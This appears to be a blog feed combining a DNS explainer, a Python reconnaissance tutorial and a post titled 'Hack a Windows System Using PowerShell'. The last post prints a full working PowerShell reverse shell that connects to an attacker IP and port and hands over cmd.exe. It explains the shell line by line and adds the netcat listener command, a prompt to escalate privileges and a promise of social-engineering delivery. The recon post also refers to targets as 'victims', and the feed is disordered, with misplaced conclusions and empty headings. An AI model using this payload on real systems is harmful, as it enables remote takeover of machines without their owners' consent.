                    Best Beginner’s Guide For Cybersecurity Recon with Python

Conclusion

Reconnaissance is the simplest and most foundational hacking technique for beginners in 2025. It requires minimal technical skill to begin, yet it lays the groundwork for every advanced technique in cybersecurity.

By understanding how information flows, how systems expose themselves, and where weaknesses reside, new learners build the intellectual framework necessary for deeper exploration.

For anyone beginning ethical hacking today, recon is not merely the first step; it is the discipline that shapes all others.

Without DNS, The Internet Won't Exist

Scofield Idehen — Mon, 08 Dec 2025 12:38:04 +0000

If you are hearing this for the first time, this is the Internet’s Most Important System.

The Domain Name System is one of the most invisible technologies in the world, yet it powers almost every interaction you make online.

When you open a website, send an email, or use an app, DNS quietly steps in to translate the human-friendly name you typed into the numerical address computers need to communicate. It is the phonebook, directory, map, and memory of the global Internet all at once.

Once you unpack it, DNS becomes one of the most fascinating systems ever created. So what is this about?

How Everything Started

The story of DNS begins long before the modern web. In the early 1980s, the young Internet used a single text file called HOSTS.TXT to store every hostname and its numerical address.

Every computer downloaded this file from a central server at Stanford. At first, this worked because the Internet had only a few hundred machines.

As the network grew, the file became impossible to maintain. Updates were slow, conflicts were common, and the central server struggled under load. The system was breaking.

Paul Mockapetris proposed a new idea in 1983: a distributed naming system built on hierarchy instead of a single file. His design became the modern DNS, formalised in RFC 1034 and RFC 1035.

RFC 1034 and RFC 1035 are documents that define the concepts and implementation specifications of the Domain Name System (DNS). They were published in November 1987 and serve as foundational standards for how domain names are structured and resolved on the Internet.

The DNS Hierarchy Explained

            Root (.)
              |
      -----------------
      |       |       |
    .com     .org    .ng      ← TLDs
      |
  google.com               ← Second-Level Domain
      |
    mail.google.com        ← Subdomain

DNS is structured like a tree. At the top is the root. Beneath it sit top-level domains such as .com, .uk, .org, and .net. Below each TLD are second-level domains like google.com or netflix.com. And under those sit subdomains like mail.google.com.

A Top-Level Domain (TLD) is the last part of a domain name — the part that comes after the final dot.

Each level delegates authority.

How a Query Travels

When you type a domain into your browser, your device sends that request to a resolver. The resolver might be controlled by your ISP, your company, or a public service like Cloudflare or Google.

The resolver checks its cache first. If the answer is fresh, it returns it immediately.
If not, the resolver begins the recursive process. It asks the root where to find the TLD servers. Next, it asks the TLD servers where to find the domain’s authoritative nameservers.

Finally, it asks those authoritative servers for the record you need. Once the resolver gets the answer, it returns it to your device and stores it temporarily so future queries are faster.
Though this sounds like several steps, the entire process normally takes milliseconds.

Why DNS Matters So Much

Pros of DNS

Another advantage is delegation. DNS allows any domain owner to manage their own section of the namespace. This reduces bottlenecks and supports decentralisation.

It also helps the Internet remain resilient because authority is distributed across thousands of organizations.

Finally, DNS is extremely mature. After more than four decades, the protocol has been refined, extended, tested and continuously improved.

Cons of DNS

Caching, while helpful, also introduces delays when updates are needed. A record with a long TTL might take hours to propagate, creating inconsistency across users.

Finally, DNS relies on cooperation between many independent operators. Misconfigurations are common and sometimes catastrophic. A single mistake in a zone file can take entire services down.

The Security Risks of DNS

Because DNS sits at such a critical layer of the Internet, attackers constantly target it. The most common threats include cache poisoning, spoofing, DDoS, hijacking, and tunnel-based exfiltration.

Organisations also worry about DNS tunnelling. Attackers can encode data inside DNS queries and send it out of a network without being detected by standard firewalls.

Attempts to Strengthen DNS

DNSSEC, or Domain Name System Security Extensions, is a set of protocols designed to protect the integrity of data exchanged in the Domain Name System (DNS) by using cryptographic signatures.

In recent years, privacy has become a central concern. Traditional DNS requests are sent unencrypted, revealing which domains users access. To fix this, new protocols such as DNS-over-TLS (DoT) and DNS-over-HTTPS (DoH) were developed. Both encrypt DNS queries, making it harder for intermediaries to observe browsing habits. Browsers like Firefox and Chrome now support DoH natively.

Operators also deploy rate-limiting, response filtering, aggressive caching, and anycast routing to improve resilience.

How DNS Continues to Evolve

Why Everyone Should Understand DNS

Most importantly, DNS teaches one of the Internet’s most important truths. A system can be simple at its core yet complex in its operation. A small protocol can hold the world together.

The Future of DNS

The third force is scale. Billions of new devices continue to join the Internet. DNS must remain fast, resilient, and globally synchronised while absorbing unprecedented growth.
What makes DNS remarkable is its stability. Despite massive change, the system still works using principles defined forty years ago. Few technologies can claim such durability.

Conclusion

Resource

Best Beginner’s Guide For Cybersecurity Recon with Python

Scofield Idehen — Thu, 04 Dec 2025 14:48:08 +0000

Cybersecurity reconnaissance is the first and most critical step in understanding a target’s digital footprint. As a beginner, knowing where to look, how to look, and what tools to use can dramatically increase your effectiveness in network security, penetration testing, and OSINT investigations.

Python has become the go-to language for security specialists due to its simplicity, versatility, and powerful libraries. This guide breaks down the foundations of recon, DNS enumeration, and network scanning using Python, so beginners can grasp concepts practically and immediately start experimenting.

This is not just theory. By following this guide, you’ll get hands-on examples of Python scripts for discovering subdomains, probing hosts, and automating routine recon tasks.

What You Will Achieve

By the end of this guide, you will be able to:

Understand the difference between passive and active reconnaissance.
Define the scope and target effectively for any recon project.
Use Python to query DNS records, subdomains, and certificate transparency logs.
Perform asynchronous network scans for host and service discovery.
Organise recon data efficiently for analysis and reporting.
Apply OPSEC and rate-limiting to stay stealthy during recon.

This knowledge forms a solid foundation for penetration testing, bug bounty hunting, and OSINT investigations.

Tools to Use

Before starting, ensure you have a Python 3.12 environment ready. The following libraries are recommended for recon tasks:

Library	Purpose
`asyncio` / `trio`	Handle thousands of tasks concurrently without threads
`httpx`	Async HTTP/HTTPS requests with HTTP/2, proxy, and SOCKS support
`aiodns`	Asynchronous DNS resolution with DNSSEC support
`ipwhois`	ASN and prefix lookups
`rich`	Pretty terminal output with progress bars
`pandas`	Data organization, CSV/HTML export

Setup:

python3 -m venv recon
source recon/bin/activate
pip install httpx[http2] aiodns ipwhois rich pandas

Recon Fundamentals: Active vs Passive

Recon is classified into passive and active:

Passive Recon – You do not touch the target. Sources include WHOIS, CRT.SH, Shodan, GitHub, and leaked databases. It is stealthy and leaves no logs on the target.
Active Recon – Direct probing via DNS queries, port scanning, banner grabbing, and web crawling. Active recon is powerful but generates logs and may trigger firewalls.

Rule: Always start with passive recon. It’s safer, cost-free, and helps narrow down what to probe actively.

Canonical Workflow:

Scope Definition – define IP ranges, domains, and employee aliases.
Passive Recon – gather public artefacts.
Correlation & Pivot – deduplicate, enrich, generate leads.
Active Recon – probe live hosts, services, and versions.
Reporting – export structured JSON or CSV for analysis.

DNS Basics & Subdomain Discovery

DNS (Domain Name System) is the foundation of how the Internet identifies and routes traffic.

In reconnaissance, DNS provides some of the most valuable early insights into an organisation’s online structure. By understanding the different DNS record types and how they interact, analysts can map infrastructure, uncover hidden assets, and expand the attack surface systematically.

At its core, DNS is responsible for translating human‑readable domain names into machine‑readable IP addresses. This translation happens through different “record types,” each serving a specific function within a domain’s configuration. The most relevant records for recon are outlined below.

A / AAAA → Host to IP mapping
CNAME → Aliases and CDNs
NS → Authoritative servers hinting at internal structure
MX → Email services
TXT → SPF, DMARC, and validation tokens
SRV → Services like LDAP or SIP

A & AAAA Records — Direct Host Mapping

A and AAAA records map a domain or subdomain to an IP address:

A Record: points to an IPv4 address - AAAA Record: points to an IPv6 address

These records represent the most fundamental part of DNS. When a domain resolves to an IP, it provides the first clue about where the service is hosted (e.g., cloud provider, on‑prem infrastructure, shared hosting).

CNAME Records — Indirect Mapping and Service Outsourcing

A CNAME (Canonical Name) record does not point to an IP. Instead, it points one domain to another domain.

Example:

blog.example.com → cname → example-blog.hosting.net

CNAME chains often reveal third‑party services such as:

CDN providers (Cloudflare, Akamai)
Email platforms
SaaS dashboards
Cloud hosting environments (AWS, GCP, Azure)

NS Records — Authority and Infrastructure Insight

NS (Name Server) records define which servers are authoritative for a domain. They tell the internet where to go to learn everything else about the domain.

Analysing NS records helps you understand:

The hosting provider
Whether DNS is self‑managed or outsourced
Redundancy and failover configuration
Possible subdomains through zone misconfiguration

Note - When organisations self-host NS servers, it often indicates a large internal infrastructure.

MX Records — Email Routing and Third‑Party Dependencies

MX (Mail Exchange) records indicate the mail servers responsible for receiving emails for a domain.

These records reveal:

Whether the domain uses Google Workspace, Microsoft 365, or a custom mail server
Legacy or insecure mail systems are still in use
Additional subdomains possibly tied to mail infrastructure

Because email is a highly targeted attack vector, MX records are essential in understanding an organization’s communication layer.

TXT Records — Security Policies and Verification Artefacts

TXT records store arbitrary text and are commonly used for:

SPF (Sender Policy Framework)
DMARC (Domain-based Message Authentication)
DKIM configuration

Note - DMARC, DKIM, and SPF are three email authentication methods. Together, they help prevent spammers, phishers, and other unauthorised parties from sending emails on behalf of a domain* they do not own.

Cloud and SaaS verification tokens
Public security disclosures
Domain metadata

SRV Records — Service Discovery

SRV (Service) records indicate the location (hostname and port) of specific services such as:

SIP
LDAP
Kerberos
VoIP
Microsoft services
Game servers

SRV records are particularly useful because they often identify:

Internal authentication services
Directory services
Infrastructure dependencies are not visible on the public web

From a recon standpoint, SRV records provide directional clues about internal architecture and commonly overlooked services.

Subdomain Discovery — Expanding the Attack Surface

Subdomains represent functional units within a domain and often expose additional, less-secure services. Each subdomain may host a unique application, API, admin panel, or onboarding system.

Common examples include:

api.example.com
vpn.example.com
dev.example.com
staging.example.com
admin.example.com

Subdomain discovery typically follows two approaches:

Passive Enumeration

Passive enumeration focuses on collecting information from external sources. These sources already monitor the internet, archive changes, or index public data. You simply query them.
There are three major categories we focus on here:

Certificate Transparency (CT) logs
Historical DNS
Search-engine dorks

Each one reveals different layers of how a domain has evolved.

Certificate Transparency Logs (crt.sh and bufferover)

Every HTTPS website must issue an SSL/TLS certificate. Modern browsers require these certificates to be published publicly inside Certificate Transparency logs. This means whenever a company issues a certificate, it's logged—whether that subdomain was meant to stay private or not.

Note*:* If a company creates beta.example.com and forgets to hide it, CT logs will expose it. Even if the subdomain never gets linked on the website, a security researcher can find it.

Two popular sources are:

crt.sh – a public CT log search engine
bufferover.run – offering CT, DNS, and reverse lookup datasets

Example

api.example.com
dev.example.com
staging-api.example.com
internal-vpn.example.com

A beginner-friendly Python example to fetch CT logs:

    import requests

    domain = "example.com"
    url = f"https://crt.sh/?q=%25.{domain}&output=json"

    try:
        data = requests.get(url, timeout=10).json()
        subdomains = {entry["name_value"] for entry in data}
        for sub in subdomains:
            print(sub)
    except ValueError:
        print("CT logs returned non-JSON (likely rate-limited).")

This script searches for all certificates issued for google.com and extracts subdomains. Even if crt.sh responds with HTML instead of JSON (which happens often), the logic is simple for a beginner.

Historical DNS Records (DNSDB, SecurityTrails)

DNS changes over time. Companies delete services, migrate infrastructure, or abandon old endpoints. But historical DNS databases keep copies of previous DNS answers, making them extremely useful for security analysis.

These historical views help you answer questions like:

What subdomains existed two years ago?
What IP is used to host the corporate website?
Did they previously expose an admin panel?
Has the company used Cloudflare only recently?

Two major providers are:

DNSDB – one of the oldest DNS history datasets (Discontinue)
SecurityTrails – commercial but very rich historical DNS API

For example, suppose vpn.example.com used to resolve to a public IP that is now offline. Even though it’s gone today, historical DNS reveals it used to exist, which means attackers may still probe it.

We can use Python to get SecurityTrails (use format):

Note - Get API key before continuing.

    import requests

    api_key = "QAJFqjeHA1wlkfFgO4rYeoHrtR....."
    domain = "learnhubafrica.org"
    headers = {"APIKEY": api_key}

    res = requests.get(
        f"https://api.securitytrails.com/v1/history/{domain}/dns/a",
        headers=headers
    )
    print(res.text)

This returns historical A records, showing old servers previously linked to the domain.

Search Engine Dorks (**site:*.example.com -www**)

Search engines crawl everything they can reach, including forgotten subdomains. Using Dork's advanced search parameters lets you extract useful results.

site:*.example.com -www

This searches all subdomains except the main website.

Example:

site: tells Google to restrict results to a domain
*. means “any subdomain”
-www excludes the default homepage

Beginners often underestimate how powerful this is. Search engines accidentally index:

Internal dashboards
Debug pages
Test environments
Misconfigured S3 buckets

A simple Python snippet to automate the creation of dorks:

domain = "example.com"
dork = f"site:*.{domain} -www"
print("Use this Google dork:", dork)

Search engine dorks don’t require coding, but generating them consistently helps when working with multiple domains.

In our next article, we will be diving into active recons tools and see how we can use python to automate them.

FAQ

1: Do I need prior Python knowledge?
A: Basic Python (loops, functions, async) is enough. Advanced topics like asyncio are explained step-by-step.

2: Can I run these scripts on Windows?
A: Yes, but Linux is preferred for compatibility with networking tools.

3: Are passive recon scripts safe?
A: Passive scripts query public sources and are generally safe. Active recon carries a higher risk.

4: How do I avoid false positives in subdomain discovery?
A: Always check for wildcard DNS entries before trusting results.

5: How to store and analyse results?
A: Use pandas DataFrames and export to CSV or HTML for easy reporting.

Conclusion

Reconnaissance with Python is a continuous, iterative process. Learning how to find, enumerate and automate data would create more opportunities to get deep into your victims architecture.

Hack a Windows System Using PowerShell

Scofield Idehen — Fri, 21 Nov 2025 16:21:08 +0000

Hacking isn’t the Hollywood fantasy you’ve seen — no glowing green gibberish flying across the screen, no skinny guy surrounded by energy drinks, typing three lines and screaming:

“I’m in.”

If that is what inspires you to become a hacker, then you need to rethink your path immediately.

The era of simple hacks based on weak passwords and sloppy scripts is long gone.

Today’s digital infrastructure is armored with advanced defenses, intelligent detection systems, and layered security protocols. Modern hackers either evolve… or they end up as loud, online commentators who talk more than they prove.

In this guide, we’re diving into a penetration-testing model that shows how attackers gain control of a Windows machine — step by step and in the real world.

Before we begin, here are the prerequisites:

Kali Linux (Virtual Machine)
Basic scripting knowledge (Python)
Code Editor (Visual Studio Code)

Now, spin up your Kali Linux machine. Let’s get to work.

If this is your first time using Kali Linux, I wrote a guide to get you started here.

Once kali is up, check for your IP Address using the ifconfig commad.

Your IP address most likley would be at the eth0

Copy the address on your note pad.

Next lets edit our payload.

function cleanup {
if ($client.Connected -eq $true) {$client.Close()}
if ($process.ExitCode -ne $null) {$process.Close()}
exit}
// Setup IPADDR
$address = '10.138.214.85'
// Setup PORT
$port = '441'
$client = New-Object system.net.sockets.tcpclient
$client.connect($address,$port)
$stream = $client.GetStream()
$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize
$process = New-Object System.Diagnostics.Process
$process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe'
$process.StartInfo.RedirectStandardInput = 1
$process.StartInfo.RedirectStandardOutput = 1
$process.StartInfo.UseShellExecute = 0
$process.Start()
$inputstream = $process.StandardInput
$outputstream = $process.StandardOutput
Start-Sleep 1
$encoding = new-object System.Text.AsciiEncoding
while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())}
$stream.Write($encoding.GetBytes($out),0,$out.Length)
$out = $null; $done = $false; $testing = 0;
while (-not $done) {
if ($client.Connected -ne $true) {cleanup}
$pos = 0; $i = 1
while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) {
$read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos)
$pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}}
if ($pos -gt 0) {
$string = $encoding.GetString($networkbuffer,0,$pos)
$inputstream.write($string)
start-sleep 1
if ($process.ExitCode -ne $null) {cleanup}
else {
$out = $encoding.GetString($outputstream.Read())
while($outputstream.Peek() -ne -1){
$out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}}
$stream.Write($encoding.GetBytes($out),0,$out.length)
$out = $null
$string = $null}} else {cleanup}}

Before moving deeper into the subject, it’s important to pause for a moment and understand two ideas every hacker, penetration tester, or security learner eventually encounters: reverse shells and bind shells as this would explain the payload above.

Reverse Vs Bind Shell

They sound technical, even intimidating, but the core idea is actually simple. They both serve one purpose letting someone run commands on a remote machine, but both use diffrent machnism.

A bind shell is the old-school method. In a bind shell, the target machine is the one that opens a door. It creates a port, keeps it open, and waits patiently for someone to connect. You can imagine the target placing a ringing phone on the table and stepping back.

Anyone who knows the number can dial in and pick up the line. This used to work smoothly years ago when networks were open and firewalls weren’t as strict. But today, almost every machine hides behind routers, NAT, and security rules that block incoming connections.

That means even if the target opens the door, there’s a high chance you simply cannot reach it from the outside. This is why bind shells are now more of a learning concept than a practical everyday tool.

A reverse shell flips the entire direction. Instead of waiting for the attacker to connect, the target machine reaches outward and connects to the attacker’s system. It dials your number. That single change who connects to who, makes reverse shells extremely powerful.

Outbound traffic is rarely restricted, even in organizations with strong security. Most networks freely allow devices inside to connect out to the internet. Because of that, a reverse shell can slip through firewalls, bypass NAT, and establish a remote session even in places where a bind shell would fail instantly.

The easiest way to understand both is to think about who is calling who. A bind shell means you are calling the target. A reverse shell means the target calls you. Once the connection is made, both methods give you the same thing: a remote command-line session.

What differs is the path taken and the limitations of the environment. And for beginners stepping into cybersecurity, this understanding becomes the foundation for how payloads behave, why some work and others don’t, and how attackers navigate around blocked networks.

Understanding the Payload

function cleanup {
    if ($client.Connected -eq $true) {$client.Close()}
    if ($process.ExitCode -ne $null) {$process.Close()}
    exit
}

If something goes wrong or the connection drops:

- Close the TCP client
- Close the cmd.exe process
- Exit the script

Set the attacker IP & port

$address = '10.138.214.85'
$port = '441'

This tells the script where to connect back to.
That IP & port must be listening with Netcat or another handler.

Create TCP connection

$client = New-Object system.net.sockets.tcpclient
$client.connect($address,$port)
$stream = $client.GetStream()

Creates a TCP client object.
Connects out to your listener.
Gets the stream for reading/writing data.

Prepare a buffer

$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize

- Creates a byte array to store data received from you.

5. Spawn cmd.exe

$process = New-Object System.Diagnostics.Process
$process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe'
$process.StartInfo.RedirectStandardInput = 1
$process.StartInfo.RedirectStandardOutput = 1
$process.StartInfo.UseShellExecute = 0
$process.Start()

This:

Launches cmd.exe silently (no window)
Redirects:
- Input → you will send commands
- Output → the script will send results back to you

Prepare input and output streams

$inputstream = $process.StandardInput
$outputstream = $process.StandardOutput

These allow reading/writing to the cmd.exe session.

Encoding

$encoding = new-object System.Text.AsciiEncoding

Converts between bytes and text (ASCII).

Send initial output of cmd.exe

while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())}
$stream.Write($encoding.GetBytes($out),0,$out.Length)

cmd.exe usually prints some text on startup.
This sends it across the network to your listener.

Main reverse-shell loop
This part repeats forever until something breaks.

Next we are going to set up our listerner, nc comes with linux so you can just start it with nc -lvp 441

Next, we are going to set up our listener. nc comes with Linux, so you can just start it with nc -lvp 441.

This would open a listener on your machine as the attacker, and we will be listening on port 441; you can use whatever port you are comfortable with.

Getting your payload to the victim machine would be a topic in itself, but we will focus on hacking the Windows system.

Ensure you update the IP to your current IP before implementing the payload, and then run it via VS Code.

Run it.

Once true, the reverse shell is established, and on your Kali, you will see that you are on the Windows machine.

Go ahead and escalate your privilege.

In my next article, I will be working on using social engineering to transfer the payload. I will be exploiting tools like setoolkit and Metasploit.